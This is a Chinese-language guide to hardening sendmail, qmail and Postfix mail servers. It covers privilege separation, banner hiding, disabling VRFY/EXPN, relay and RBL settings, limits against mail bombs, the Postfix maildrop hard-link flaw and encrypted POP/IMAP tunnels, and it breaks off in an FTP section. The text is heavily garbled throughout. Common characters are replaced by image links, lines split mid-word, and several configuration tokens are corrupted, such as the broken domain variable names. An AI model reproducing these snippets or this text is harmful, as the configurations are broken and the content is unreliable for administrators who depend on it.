sendmail
在互联网上大约75%
![](/icons/41291de.gif)
邮件服务器上运行
![](/icons/41291dou2.gif)
1988年
![](/icons/41291dou.gif)
Morris
![](/icons/41291de.gif)
![](/icons/41291int.gif)
ernet蠕虫就利用它
![](/icons/41291de.gif)
WIZ命令
![](/icons/41291dou.gif)
它使用任何用户能立即获得root权
限
![](/icons/41291dou2.gif)
然而
![](/icons/41291dou.gif)
近来
![](/icons/41291dou.gif)
它已变得相当稳定
![](/icons/41291dou.gif)
这很大程度归功Sendmail Inc
![](/icons/41291de.gif)
成立
![](/icons/41291dou2.gif)
该商业组织现
在负责Sendmail
![](/icons/41291de.gif)
开发工作
![](/icons/41291dou2.gif)
为了保证安全
![](/icons/41291yi.gif)
个必须采取而且绝对重要
![](/icons/41291dou.gif)
即订阅所选择
![](/icons/41291de.gif)
邮件服务器
![](/icons/41291de.gif)
安全问题邮件列
表
![](/icons/41291dou.gif)
并随时准备在必要时升级
![](/icons/41291dou2.gif)
邮件服务器
![](/icons/41291de.gif)
最大问题是它需要绑定端口25
![](/icons/41291dou.gif)
因此必须以root启动
![](/icons/41291dou2.gif)
只要服务器中发现漏
洞
![](/icons/41291dou.gif)
黑客就有可能立即获得root权限
![](/icons/41291dou2.gif)
Postfix and Qmail不以root运行
![](/icons/41291dou.gif)
它们都使用
![](/icons/41291yi.gif)
个单
独
![](/icons/41291de.gif)
进程绑定25端口
![](/icons/41291dou.gif)
该进程把所建立
![](/icons/41291de.gif)
连接立即转交给独立
![](/icons/41291de.gif)
smtp
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
这个
![](/icons/41291chengxu.gif)
永远
都不以root运行
![](/icons/41291dou2.gif)
这两个
![](/icons/41291chengxu.gif)
都不存在root类漏洞
![](/icons/41291dou2.gif)
sendmail在sendmail.cf文件中提供
RunAsUser选项
![](/icons/41291dou.gif)
如果设置了该选项
![](/icons/41291dou.gif)
sendmail守护进程在读取和分发邮件时会先成为指定
用户
![](/icons/41291dou2.gif)
这也意味着必须修改相应
![](/icons/41291de.gif)
文件
![](/icons/41291dou2.gif)
使用该用户对它们有读权限
![](/icons/41291dou.gif)
这些文件包括队列目
录/var/spool/mqueue,别名列表
![](/icons/41291dou.gif)
以及:
![](/icons/41291include.gif)
:文件等
![](/icons/41291dou2.gif)
由于没有默认
![](/icons/41291de.gif)
用户和组
![](/icons/41291dou.gif)
所以要创
建它
![](/icons/41291dou2.gif)
以sendmail用户和mail组运行sendmail为例
![](/icons/41291dou.gif)
就必须在.cf文件中包括如下代码:
O RunAsUser=sendmail:mail
邮件服务器旗标
建立连接后
![](/icons/41291dou.gif)
smtp立即向用户发送旗标
![](/icons/41291dou2.gif)
这个旗标通常包括邮件服务器名
![](/icons/41291dou.gif)
smtp软件Software名和
版本号
![](/icons/41291dou.gif)
当前时间等
![](/icons/41291dou.gif)
这些信息对黑客非常重要
![](/icons/41291dou.gif)
所以要关闭这
![](/icons/41291yi.gif)
欢迎信息
![](/icons/41291dou2.gif)
在sendmail.cf
文件中找到SmtpGreetingMessage
![](/icons/41291dou.gif)
将如下配置:
O SmtpGreetingMessage=$j Sendmail $v/$z; $b
修改为 O SmtpGreetingMessage=$j BWare -SMTP spoken here; $b
再使用如下命令重载其配置文件:killall -hup sendmail
qmail修改qmail-smtpd
![](/icons/41291de.gif)
smtpgreeting值;postfix修改smtpd_banner值
![](/icons/41291dou2.gif)
SMTP VRFY命令
VRFY最初用于帮助机器确定用户名或邮件地址是否合法
![](/icons/41291dou.gif)
但是
![](/icons/41291dou.gif)
现在该命令很少再用于这
个目
![](/icons/41291de.gif)
![](/icons/41291dou2.gif)
相反
![](/icons/41291dou.gif)
它通常被黑客对用户实施蛮力攻击
![](/icons/41291dou2.gif)
使用方法:VRFY XXXX 日志可以记录VRFY命令操作情况
![](/icons/41291dou2.gif)
关闭该命令需对sendmail.cf文件中对PrivacyOption做如下更改:
O PrivacyOption=authwarnings,novrfy 或将下面
![](/icons/41291yi.gif)
行添加到sendmail.mc配置文件中
![](/icons/41291dou.gif)
然后重
新编译sendmail.cf
![](/icons/41291dou2.gif)
![](/icons/41291define.gif)
('confPRIVACY_FLAGS',"authwarnings,novrfy")dnl
![](/icons/41291dou.gif)
修改完成后重
载配置文件
![](/icons/41291dou2.gif)
SMTP EXPN命令
EXPN命令扩展所提供
![](/icons/41291de.gif)
用户名和邮件地址
![](/icons/41291dou2.gif)
和VRFY命令类似
![](/icons/41291dou.gif)
它也可以用来猜测用户名
和邮件地址
![](/icons/41291dou2.gif)
要关闭EXPN请求
![](/icons/41291dou.gif)
只需在sendmail.cf中将PrivacyOption标志修改为:
O PrivacyOption=authwarnings,noexpn,或将下面
![](/icons/41291yi.gif)
行添加到sendmail.mc配置文件中
![](/icons/41291dou.gif)
然后重
新编译sendmail.cf
![](/icons/41291dou2.gif)
![](/icons/41291define.gif)
('confPRIVACY_FLAGS',"authwarnings,noexpn")dnl
![](/icons/41291dou.gif)
修改完成后重
载配置文件
![](/icons/41291dou2.gif)
如果同进关闭VRFY AND EXPN可以这样写authwarnings,noexpn,novrfy
![](/icons/41291dou2.gif)
如
果使用
![](/icons/41291de.gif)
是新近
![](/icons/41291de.gif)
版本
![](/icons/41291dou.gif)
也可以使用goaway选项
![](/icons/41291dou.gif)
它自动包括了noexpn,novrfy和其它
PrivacyOption选项
![](/icons/41291dou2.gif)
qmail and postfix 都不支持expn命令
![](/icons/41291dou.gif)
所以不存在这个问题
不适当
![](/icons/41291de.gif)
文件许可
在接收和分发邮件时
![](/icons/41291dou.gif)
邮件服务器可能会用到多个文件
![](/icons/41291dou.gif)
例如虚拟主机名
![](/icons/41291dou.gif)
邮件别名和邮件
路由映射文件等
![](/icons/41291dou.gif)
如果某个用户能够修改这些文件
![](/icons/41291dou.gif)
它就能够对邮件服务器
![](/icons/41291de.gif)
运作产生影响
![](/icons/41291dou2.gif)
所以必须对这些文件设置合适
![](/icons/41291de.gif)
文件许可
![](/icons/41291dou.gif)
使用文件完整性工具密切监视被邮件服务器使用
![](/icons/41291de.gif)
所有文件
![](/icons/41291dou2.gif)
同时
![](/icons/41291dou.gif)
为确保万无
![](/icons/41291yi.gif)
失
![](/icons/41291dou.gif)
也可以用chattr +i命令将这些文件设置为不可修改
![](/icons/41291dou2.gif)
sendmail8.9或以上
![](/icons/41291de.gif)
版本在使用.forwards,:
![](/icons/41291include.gif)
:,地址映射以及其他相关文件前先对其执
行许可正确性检查
![](/icons/41291dou.gif)
如果它认为所给
![](/icons/41291de.gif)
许可权超过了所需
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
就会取消动作并发回邮件
![](/icons/41291dou2.gif)
如
果确实要依赖于所给
![](/icons/41291de.gif)
过渡性许可
![](/icons/41291dou.gif)
则必须在sendmail.mc中添加如下
![](/icons/41291yi.gif)
行配置信息显示地
告诉sendmail使用相应
![](/icons/41291de.gif)
不安全许可设置
![](/icons/41291dou2.gif)
OPTION('confDONT_BLAME_SENDMAIL','groupwritablealiasfile')dnl
警告:如果想打破sendmail
![](/icons/41291de.gif)
严格许可规定
![](/icons/41291dou.gif)
就必须确信所做事情
![](/icons/41291de.gif)
含义
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
![](/icons/41291yi.gif)
旦允许
用户修改和sendmail相关
![](/icons/41291de.gif)
文件
![](/icons/41291dou.gif)
他们就有可能得到root权限
![](/icons/41291dou2.gif)
为进
![](/icons/41291yi.gif)
步防止运行外部命令
![](/icons/41291dou.gif)
可以将sendmail配置成使用smrsh(sendmail受限shell)运行
所有shell命令
![](/icons/41291dou.gif)
将下面
![](/icons/41291yi.gif)
行加到sendmail.mc:
FEATURE('smrsh','path-to-smrsh'),smrsh
![](/icons/41291chengxu.gif)
只执行在特定目录下(默认为/usr/adm/sm.bin)
![](/icons/41291de.gif)
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
但要确保该目录下
![](/icons/41291chengxu.gif)
![](/icons/41291de.gif)
安全
![](/icons/41291dou2.gif)
qmail and postfix都遵循
![](/icons/41291yi.gif)
个原则:只有不受限制
![](/icons/41291de.gif)
root用户才可以对邮件服务器
![](/icons/41291de.gif)
相关文
件具有写权限
![](/icons/41291dou2.gif)
惟
![](/icons/41291yi.gif)
例外
![](/icons/41291de.gif)
是.forward文件
![](/icons/41291dou2.gif)
![](/icons/41291yi.gif)
旦启用
![](/icons/41291dou.gif)
其所有者必须是接收
![](/icons/41291de.gif)
用户
![](/icons/41291dou2.gif)
邮件
服务器相关文件在/etc/postfix and /var/qmail下
![](/icons/41291dou2.gif)
要确保这些文件只有root可写
![](/icons/41291dou2.gif)
邮件中继
为保护机器和网络不被垃圾邮件兜售商滥用
![](/icons/41291dou.gif)
必须确保它们不中继来自非授权域
![](/icons/41291de.gif)
邮件
![](/icons/41291dou2.gif)
sendmail8.9及的后
![](/icons/41291de.gif)
版本默认情况下拒绝邮件中继
![](/icons/41291dou.gif)
如果必须中继来自某些主机
![](/icons/41291de.gif)
邮件
![](/icons/41291dou.gif)
必须将它们
![](/icons/41291de.gif)
地址加下/etc/mail/access文件中
![](/icons/41291dou2.gif)
警告:sendmail将整个域名中主机名的后
![](/icons/41291de.gif)
部份看做域名
![](/icons/41291dou.gif)
如果管理员在.mc文件中使用
FEATURE{relay_entire_do
![](/icons/41291main.gif)
}
![](/icons/41291dou.gif)
并且当前域中
![](/icons/41291de.gif)
任
![](/icons/41291yi.gif)
本地ip地址都反解析为某 2级域名
(如example.com)
![](/icons/41291dou.gif)
那么其意图是允许中继所有该域中机器
![](/icons/41291de.gif)
邮件
![](/icons/41291dou.gif)
不幸
![](/icons/41291de.gif)
是
![](/icons/41291dou.gif)
sendmail
会将域认为是.com
![](/icons/41291dou.gif)
从而实际上是以开放中继方式运行
![](/icons/41291dou2.gif)
qmail0.91及以上版本默认情况下拒绝邮件中继
![](/icons/41291dou.gif)
要设置服务器中继特定主机
![](/icons/41291de.gif)
邮件
![](/icons/41291dou.gif)
可以
有以下两种方式:
1、以支持host_options方式安装tcp封装器
![](/icons/41291dou2.gif)
如下所示方式运行qmail
![](/icons/41291de.gif)
smtpd守护进程
![](/icons/41291dou2.gif)
tcpd /var/qmail/bin/tcp-env /var/qmail/bin/qmail-smtpd
并在/etc/hosts.allow中为所有需要中继
![](/icons/41291de.gif)
主机添加和下面类似
![](/icons/41291de.gif)
行
![](/icons/41291dou2.gif)
tcp-env:xxx.xxx.xxx.xxx :
![](/icons/41291set.gif)
env=RELAYCLIENT
2、如果使用tcpserver0.80或更高版本
![](/icons/41291dou.gif)
在/etc/tcp.smtp中添加如下行:
xxx.xxx.xxx.xxx:allow,RELAYCLIENT=""
然后运行:tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp < /etc/tcp.smtp,并且在tcpserver
![](/icons/41291diaoyong.gif)
qmail-smtpd
![](/icons/41291de.gif)
命令行后面添加:
-x /etc/tcp.smtp.cdb
postfix在默认情况下总是拒绝邮件中继
![](/icons/41291dou.gif)
服务器处理邮件所进出
![](/icons/41291de.gif)
网络必须在它第
![](/icons/41291yi.gif)
次运行
前在
![](/icons/41291main.gif)
.cf中配置
![](/icons/41291dou.gif)
涉及
![](/icons/41291de.gif)
相关变量有myhostname,mydo
![](/icons/41291main.gif)
,myorigin,mydestination and
mynetworks
![](/icons/41291dou2.gif)
对于许多系统来说
![](/icons/41291dou.gif)
要建立
![](/icons/41291yi.gif)
个可运行
![](/icons/41291de.gif)
postfix配置
![](/icons/41291dou.gif)
只需要处理这些变量
![](/icons/41291dou2.gif)
不幸
![](/icons/41291de.gif)
是
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
smtp服务器不知道实际邮件分发
![](/icons/41291de.gif)
所有细节
![](/icons/41291dou.gif)
时期版本(早于1999年12
月27日)并不对中继请求响应smtp
![](/icons/41291cuowu.gif)
码
![](/icons/41291dou.gif)
这样
![](/icons/41291dou.gif)
中继检查
![](/icons/41291chengxu.gif)
如ORBS AND RBL会以
为该服务器运行于开发中继方式
![](/icons/41291dou2.gif)
将postfix升级到新版可避免这
![](/icons/41291yi.gif)
问题
![](/icons/41291dou2.gif)
垃圾邮件
当前使用最广泛
![](/icons/41291de.gif)
阻止垃圾邮件
![](/icons/41291de.gif)
思路方法是Paul Vixie首创
![](/icons/41291de.gif)
MAPS(Mail Abuse Prevention
![](/icons/41291System.gif)
--按照习惯
![](/icons/41291dou.gif)
这也被看作"spam"
![](/icons/41291de.gif)
逆序拼写)Realtime Blackhole List 或 RBL.它是通过
DNS实现
![](/icons/41291de.gif)
服务
![](/icons/41291dou.gif)
列出了知名
![](/icons/41291de.gif)
垃圾邮件发送站点和被他们中继
![](/icons/41291de.gif)
服务器
![](/icons/41291dou2.gif)
邮件服务器使
用这
![](/icons/41291yi.gif)
基于DNS
![](/icons/41291de.gif)
垃圾邮件阻塞思路方法时
![](/icons/41291dou.gif)
对所有和的联系
![](/icons/41291de.gif)
机器
![](/icons/41291de.gif)
IP地址执行DNS查询
![](/icons/41291dou2.gif)
如果该IP已被登记
![](/icons/41291dou.gif)
则拒绝来自相应机器
![](/icons/41291de.gif)
邮件
![](/icons/41291dou2.gif)
RBL是另
![](/icons/41291yi.gif)
个开发
![](/icons/41291de.gif)
数据库
![](/icons/41291dou.gif)
但它只记
录开发中继
![](/icons/41291de.gif)
邮件服务器
![](/icons/41291dou2.gif)
在sendmail.mc文件中添加如下内容就可防止垃圾邮件
![](/icons/41291de.gif)
骚扰
![](/icons/41291dou.gif)
不过
![](/icons/41291dou.gif)
对于每
![](/icons/41291yi.gif)
个sendmail
版本
![](/icons/41291dou.gif)
其语法有所区别
![](/icons/41291dou2.gif)
8.9 FEATURE(rbl,`rbl.maps.vix.com')
8.10 FEATURE(dnsbl,1rbl.maps.vix.com',`error message')
8.11 HACK(`check_dnsbl',`rbl.maps.vix.com',`',`general',`reason')
qmail可以结合使用Rblsmtpd和smtpd来阻塞RBL类数据库列出
![](/icons/41291de.gif)
站点
![](/icons/41291dou2.gif)
Rblsmtpd由
tcpserver启动
![](/icons/41291dou.gif)
postfix要启用基于DNS
![](/icons/41291de.gif)
垃圾邮件阻塞功能
![](/icons/41291dou.gif)
首先要将maps_rbl_do
![](/icons/41291main.gif)
s变量设置为所要
查询
![](/icons/41291de.gif)
数据库:
maps_rbl_do
![](/icons/41291main.gif)
s=rbl.vix.com,dul.maps.vix.com
然后在smtpd_client_restrictions变量后直接添加"reject_maps_rbl"
smtpd_client_restrictions = permit_mynetworks,reject_maps_rbl
邮件炸弹和拒绝服务攻击
过量
![](/icons/41291de.gif)
连接会使合法用户邮件无法到达
![](/icons/41291dou.gif)
而邮件炸弹会迅速耗尽磁盘空间
![](/icons/41291dou2.gif)
![](/icons/41291yinwei.gif)
邮件通常保
存在/var目录下
![](/icons/41291dou.gif)
所以
![](/icons/41291yi.gif)
旦填满
![](/icons/41291dou.gif)
就会对系统造成灾难性影响
![](/icons/41291dou2.gif)
日志信息无处可放
![](/icons/41291dou.gif)
而系统
也会最终陷于停顿
![](/icons/41291dou2.gif)
在sendmail中可使用多个选项来限制守护进程使用
![](/icons/41291de.gif)
资源数量:
MaxDaemonChildren 限制并发运行sendmail进程数
![](/icons/41291dou.gif)
保障cpu不被过度使用
![](/icons/41291dou2.gif)
ConnectionRateThrottle 限制smtp
![](/icons/41291de.gif)
每秒并发入连连接数量
![](/icons/41291dou2.gif)
MaxRcptsPerMessage 限制单个邮件
![](/icons/41291de.gif)
接收者数量
![](/icons/41291dou.gif)
也可用于阻止编写拙劣
![](/icons/41291de.gif)
垃圾邮件
![](/icons/41291dou2.gif)
MaxMessageSize 拒绝尺寸过大
![](/icons/41291de.gif)
邮件
![](/icons/41291dou2.gif)
如果经常通过邮件交换大型文件
![](/icons/41291dou.gif)
则这个限制
会带来问题
![](/icons/41291dou.gif)
但是不论如何说
![](/icons/41291dou.gif)
使用http,ftp 或scp/sftp来实现文件服务器要更好
![](/icons/41291yi.gif)
些
![](/icons/41291dou2.gif)
注意:这些值设置过低会导致延误或拒绝正常邮件
![](/icons/41291dou.gif)
因此
![](/icons/41291dou.gif)
在设置前最好检查邮件日志以确
定日常
![](/icons/41291de.gif)
邮件使用情况
![](/icons/41291dou2.gif)
默认情况下qmail允许同时处理20封外发邮件
![](/icons/41291dou2.gif)
如要修改
![](/icons/41291dou.gif)
可在文件
/var/qmail/control/concurrencyremote中设置所需
![](/icons/41291de.gif)
数值
![](/icons/41291dou2.gif)
然后重启
![](/icons/41291dou2.gif)
编译该值时设置
![](/icons/41291de.gif)
上限
为120
![](/icons/41291dou.gif)
但编译前可在conf-spawn中修改
![](/icons/41291dou2.gif)
qmail并不实施额外
![](/icons/41291de.gif)
限制
![](/icons/41291dou.gif)
Bernstein认为进
![](/icons/41291yi.gif)
步
![](/icons/41291de.gif)
限制是操作系统
![](/icons/41291de.gif)
职责
![](/icons/41291dou2.gif)
管理员应该在/etc/limits.conf中设置约束
![](/icons/41291dou.gif)
并对/var执行磁盘
配额
![](/icons/41291dou2.gif)
要限制队列中邮件
![](/icons/41291de.gif)
数据
![](/icons/41291dou.gif)
只需在/var中设置qmail用户所能使用
![](/icons/41291de.gif)
inode上限就可
以了
![](/icons/41291dou2.gif)
针对MTA
![](/icons/41291de.gif)
同件炸弹和DoS攻击
![](/icons/41291dou.gif)
postfix有内建
![](/icons/41291de.gif)
最具扩展性和可调节
![](/icons/41291de.gif)
防御措施
![](/icons/41291dou2.gif)
最快
捷
![](/icons/41291de.gif)
解决思路方法是在
![](/icons/41291main.gif)
.cf中设置default_process_limit变量
![](/icons/41291dou.gif)
这个变量限制并发
![](/icons/41291de.gif)
进程数
![](/icons/41291dou.gif)
其默认值是50
![](/icons/41291dou.gif)
大致适用于通常
![](/icons/41291de.gif)
系统
![](/icons/41291dou2.gif)
其它设置包括:
local_destination_concurrency_limit 同时向同
![](/icons/41291yi.gif)
本地接收者发送
![](/icons/41291de.gif)
邮件上限
default_destination_concurrency_limit 同时向同
![](/icons/41291yi.gif)
接收者发送
![](/icons/41291de.gif)
邮件上限
message_size_limit 任何大于该尺寸
![](/icons/41291de.gif)
邮件都将被拒收
bounce_size_limit 在回返时允许发回给发关者
![](/icons/41291de.gif)
原始内空尺寸
![](/icons/41291dou.gif)
通常认为发回整个
邮伯没有必要
![](/icons/41291dou2.gif)
queue_minfree 在邮件队列所在
![](/icons/41291de.gif)
文件系统中应当保留多大
![](/icons/41291de.gif)
未用空间
![](/icons/41291dou2.gif)
设置该
变量有助于在填满文件系统前阻 止postfix接收新
![](/icons/41291de.gif)
邮件
![](/icons/41291dou2.gif)
还有很多和资源和使用率限制有关
![](/icons/41291de.gif)
选项
![](/icons/41291dou.gif)
可以查阅postfix相关技术文档
![](/icons/41291dou2.gif)
postfix自由可写
![](/icons/41291de.gif)
maildrop目录
postfix首次发布时
![](/icons/41291dou.gif)
自夸在套件中没有
![](/icons/41291yi.gif)
个
![](/icons/41291chengxu.gif)
是
![](/icons/41291set.gif)
userid and
![](/icons/41291set.gif)
groupid
![](/icons/41291de.gif)
![](/icons/41291dou.gif)
所有要发送
![](/icons/41291de.gif)
邮件都由某个postfix
![](/icons/41291chengxu.gif)
写入到maildrop目录中
![](/icons/41291dou.gif)
然后由单独
![](/icons/41291de.gif)
postfix守护
![](/icons/41291chengxu.gif)
进程取
出并发送
![](/icons/41291dou2.gif)
maildrop目录应该设置sticky位
![](/icons/41291dou.gif)
让所有用户都可写
![](/icons/41291dou2.gif)
如果该目录中
![](/icons/41291de.gif)
某个文件
有多个硬链接
![](/icons/41291dou.gif)
则postfix将丢弃这个文件
![](/icons/41291dou2.gif)
任何人都可以对队列中
![](/icons/41291de.gif)
文件添加额外
![](/icons/41291de.gif)
链接
![](/icons/41291dou.gif)
这样
![](/icons/41291dou.gif)
这些文件(邮件)就会被删除
![](/icons/41291dou2.gif)
而不会发送出去
![](/icons/41291dou.gif)
且此时也不会向用户发送警告
![](/icons/41291dou2.gif)
另
![](/icons/41291yi.gif)
个存在
![](/icons/41291de.gif)
可能性是用户可以将别人
![](/icons/41291de.gif)
文件以邮件形式发送出去
![](/icons/41291dou2.gif)
但这要满足非常严格
![](/icons/41291de.gif)
条
件
![](/icons/41291dou2.gif)
受影响
![](/icons/41291de.gif)
文件必须设置为700
![](/icons/41291dou.gif)
必须和maildrop目录在同
![](/icons/41291yi.gif)
文件系统
![](/icons/41291dou.gif)
必须以postfix
可以接受
![](/icons/41291de.gif)
格式保存
![](/icons/41291dou2.gif)
攻击者必须能够对其建立链接
![](/icons/41291dou.gif)
而且在链接创建的后
![](/icons/41291dou.gif)
必须由受影响
者将该文件删除
![](/icons/41291dou2.gif)
这些要求不是不可能满足
![](/icons/41291dou.gif)
但确实不是很常见
![](/icons/41291dou2.gif)
这些缺陷最初是由qmail
![](/icons/41291de.gif)
作Bemstein指出
![](/icons/41291dou2.gif)
最初Venema不愿意改正这个问题
![](/icons/41291dou.gif)
![](/icons/41291yinwei.gif)
看起来这只有
![](/icons/41291yi.gif)
种解决思路方法:
![](/icons/41291yi.gif)
个
![](/icons/41291set.gif)
userid
![](/icons/41291chengxu.gif)
![](/icons/41291dou2.gif)
然而
![](/icons/41291dou.gif)
最终他不得不承认这是惟
![](/icons/41291yi.gif)
![](/icons/41291de.gif)
思路方法
![](/icons/41291dou.gif)
并创建了
![](/icons/41291yi.gif)
个名为postdropr
![](/icons/41291de.gif)
![](/icons/41291set.gif)
groupid
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
并将maildrop目录
![](/icons/41291de.gif)
许可设为1730
![](/icons/41291dou.gif)
并将其组ID设置成和postdrop
![](/icons/41291de.gif)
组
![](/icons/41291yi.gif)
致
![](/icons/41291dou.gif)
从而只有该
![](/icons/41291chengxu.gif)
才能写入maildrop目录
![](/icons/41291dou2.gif)
如果postfix sendmail外壳
![](/icons/41291chengxu.gif)
发现不能
写入maildrop目录
![](/icons/41291dou.gif)
就会自动
![](/icons/41291diaoyong.gif)
postdrop
![](/icons/41291dou2.gif)
在安装配置postfix时
![](/icons/41291dou.gif)
它会要求用户输入
![](/icons/41291set.gif)
gid
![](/icons/41291de.gif)
组名
![](/icons/41291dou.gif)
如果指定了名字
![](/icons/41291dou.gif)
它就会安装
![](/icons/41291set.gif)
groupid
![](/icons/41291de.gif)
postdrop
![](/icons/41291chengxu.gif)
![](/icons/41291dou.gif)
并且使用受限
![](/icons/41291de.gif)
目录许
可
![](/icons/41291dou2.gif)
否则
![](/icons/41291dou.gif)
仍将使用自由
![](/icons/41291de.gif)
可写目录
![](/icons/41291dou2.gif)
如果系统只被自已及可信任
![](/icons/41291de.gif)
人使用
![](/icons/41291dou.gif)
则设置自由可
写
![](/icons/41291de.gif)
maildrop目录可能更好
![](/icons/41291yi.gif)
些
![](/icons/41291dou2.gif)
纯文本smtp
邮件在网上是以纯文本
![](/icons/41291de.gif)
方式传输
![](/icons/41291dou.gif)
所以只要能够监听发送和接收机的间
![](/icons/41291de.gif)
连接
![](/icons/41291dou.gif)
就能够读
取所有过往
![](/icons/41291de.gif)
邮件
![](/icons/41291dou2.gif)
如果邮件中存在敏感信息
![](/icons/41291dou.gif)
不应当未加密就发送
![](/icons/41291dou2.gif)
任何现代
![](/icons/41291de.gif)
MUA都
包含加密部分
![](/icons/41291dou2.gif)
PGP是最被广泛支持
![](/icons/41291de.gif)
加密算法
![](/icons/41291dou2.gif)
在RFC2487中定义了SMTP
![](/icons/41291de.gif)
新扩展
---STARTTLS
![](/icons/41291dou2.gif)
STARTTLS在SMTP链接中提供SSL/TLS加密设置
![](/icons/41291dou.gif)
现在它仍然没有在服
务器或客户端得到广泛应用
![](/icons/41291dou2.gif)
但随着时间
![](/icons/41291de.gif)
推移
![](/icons/41291dou.gif)
估计会得到越来越多
![](/icons/41291de.gif)
支持
![](/icons/41291dou.gif)
使用它可确
保SMTP-AUTH数据通过加密连接传输
![](/icons/41291dou2.gif)
因而不会被嗅探
![](/icons/41291dou2.gif)
sendmail在版本8.11的后内建
支持
![](/icons/41291dou2.gif)
qmail在它网站WebSite上有补丁
![](/icons/41291dou2.gif)
postfix也有补丁
![](/icons/41291dou2.gif)
通过查看EHLO
![](/icons/41291de.gif)
响应可确定系统使用
![](/icons/41291de.gif)
邮件服务器是否支持STARTTLS
pop and imap中
![](/icons/41291de.gif)
纯文本口令
pop and imap本身并不支持加密
![](/icons/41291dou.gif)
所以要使用SSL or SSH连接
![](/icons/41291dou2.gif)
首先设置加密
![](/icons/41291chengxu.gif)
监听某
个本地端口
![](/icons/41291dou.gif)
并将流入该端口
![](/icons/41291de.gif)
数据以加密方式发送到目标机器
![](/icons/41291dou2.gif)
然后
![](/icons/41291dou.gif)
执行邮件操作时
![](/icons/41291dou.gif)
客户端不需连接到实际
![](/icons/41291de.gif)
邮件服务器
![](/icons/41291dou.gif)
而只要连向本地主机
![](/icons/41291de.gif)
相应端口
![](/icons/41291dou2.gif)
下面给出两个区别
![](/icons/41291de.gif)
例子:
使用Stunnel加密IMAP
假设用户使用Mutt连接mail.example.com
![](/icons/41291dou2.gif)
Mutt支持SSL
![](/icons/41291dou.gif)
而IMAP服务器不支持该加密
方式
![](/icons/41291dou2.gif)
这时则需要在服务器上运行Stunnel以监听imaps端口
![](/icons/41291de.gif)
链接
![](/icons/41291dou2.gif)
mailserver# /usr/sbin/stunnel -D mail.debug -p /path/to/stunnel.pem -N simapd -d simapd -l
/usr/sbin/imapd
在客户设置环境变量
![](/icons/41291dou.gif)
$mail指向邮件服务器
client#export MAIL='{mailserver.example.com/ssl}'
client#mutt
当连接到达IMAPS端口时
![](/icons/41291dou.gif)
Stunnel将启动imapd服务器
![](/icons/41291dou2.gif)
Stunnel可能使用TCP封装器
![](/icons/41291dou.gif)
因此要在/etc/hosts.allow中添加下应内容
![](/icons/41291dou2.gif)
使用ssh加密POP
假设用户使用Fetchmail通过pop下载邮件
![](/icons/41291dou.gif)
如果能用SSH登录服务器
![](/icons/41291dou.gif)
就可以利用SSH
![](/icons/41291de.gif)
端口转发功能将POP连接建立在加密通道上
![](/icons/41291dou2.gif)
只需在启动fetchmail的前直接运行如下命
令:
client#ssh -n -x -f mailserver.example.com -L888:mailserver.example.com:110\"sleep 60"
所有连向本地端口888
![](/icons/41291de.gif)
链接都将通过加密通道发送到邮件服务器
![](/icons/41291de.gif)
pop端口
![](/icons/41291dou.gif)
然后
![](/icons/41291dou.gif)
运行
fetchmail时
![](/icons/41291dou.gif)
在命令行参数上添加--port 888
![](/icons/41291dou.gif)
并指向本地主机而非mailserver.example.com
![](/icons/41291dou2.gif)
FTP协议
大部份现代
![](/icons/41291de.gif)
协议使用单个网络连接来传输所有数据
![](/icons/41291dou.gif)
例如HTTP1.1客户端和服务器
![](/icons/41291de.gif)
80
端口建立连接
![](/icons/41291dou.gif)
并请指定
![](/icons/41291de.gif)
页面
![](/icons/41291dou2.gif)
服务器告诉客户端所要发送
![](/icons/41291de.gif)
字节数
![](/icons/41291dou.gif)
在接收完数据后
![](/icons/41291dou.gif)
客户端还可以在同
![](/icons/41291yi.gif)
通道内发送请求
![](/icons/41291dou2.gif)
然后
![](/icons/41291dou.gif)
FTP协议使用两个单独
![](/icons/41291de.gif)
连接分别传输命令和
数据
![](/icons/41291dou2.gif)
命令通道
![](/icons/41291dou2.gif)
是FTP客户端连向服务器21端口
![](/icons/41291de.gif)
网络套接字连接
![](/icons/41291dou2.gif)
比如LIST AND RETR
![](/icons/41291de.gif)
命令通过这个通道传输
![](/icons/41291dou2.gif)
它在整个会话期间保持连接
![](/icons/41291dou2.gif)
数据通道
![](/icons/41291dou2.gif)
客户端和服务器需要交换数据时
![](/icons/41291dou.gif)
就建立数据通道
![](/icons/41291dou2.gif)
这
![](/icons/41291yi.gif)
连接由PORT or PASV
命令动态创建
![](/icons/41291dou2.gif)
FTP这种本性使防火墙管理员大伤脑筋
![](/icons/41291dou2.gif)
需要以应用代理逻辑来处理频繁
![](/icons/41291de.gif)
动态创建连接
![](/icons/41291dou2.gif)
如TIS防火墙中
![](/icons/41291de.gif)
ftp-gw
![](/icons/41291dou.gif)
或ipchains masquerade
![](/icons/41291de.gif)
ip_masq_ftp
![](/icons/41291dou2.gif)
创建数据连接
![](/icons/41291de.gif)
两种方式:主动和被动模式
主动模式
![](/icons/41291dou.gif)
对于大多数UNIX FTP客户端而言
![](/icons/41291dou.gif)
这是默认
![](/icons/41291de.gif)
模式
![](/icons/41291dou.gif)
但最近某些LINUX发行
版开始转向默认设置被动模式
![](/icons/41291dou2.gif)
用户输入ls命令时
![](/icons/41291dou.gif)
FTP客户端绑定
![](/icons/41291yi.gif)
个端口
![](/icons/41291dou.gif)
以供服务
器连向这个端口并发回所请求
![](/icons/41291de.gif)
数据
![](/icons/41291dou2.gif)
然后客户端使用PORT命令把该端口号和IP地址发
送给服务器
![](/icons/41291dou.gif)
格式是PORT W,X,Y,Z,H,L w,x,y,z是客户端
![](/icons/41291de.gif)
地址
![](/icons/41291dou.gif)
H,L分别是端口号
![](/icons/41291de.gif)
高和
低字节
![](/icons/41291dou2.gif)
这样
![](/icons/41291dou.gif)
客户端绑定本地端口H*256+L,然后客户端发送实际
![](/icons/41291de.gif)
请求
![](/icons/41291dou.gif)
这里是LIST
![](/icons/41291dou2.gif)
的后服务器打开
![](/icons/41291yi.gif)
个从其端口20(即ftp-data端口)到客户端口H*256+L
![](/icons/41291de.gif)
连接
![](/icons/41291dou2.gif)
如果连接
成功
![](/icons/41291dou.gif)
就通过它发送所请求
![](/icons/41291de.gif)
数据
![](/icons/41291dou2.gif)
然后断开
![](/icons/41291dou2.gif)
被动模式
![](/icons/41291dou.gif)
客户请服务器打开
![](/icons/41291yi.gif)
个端口
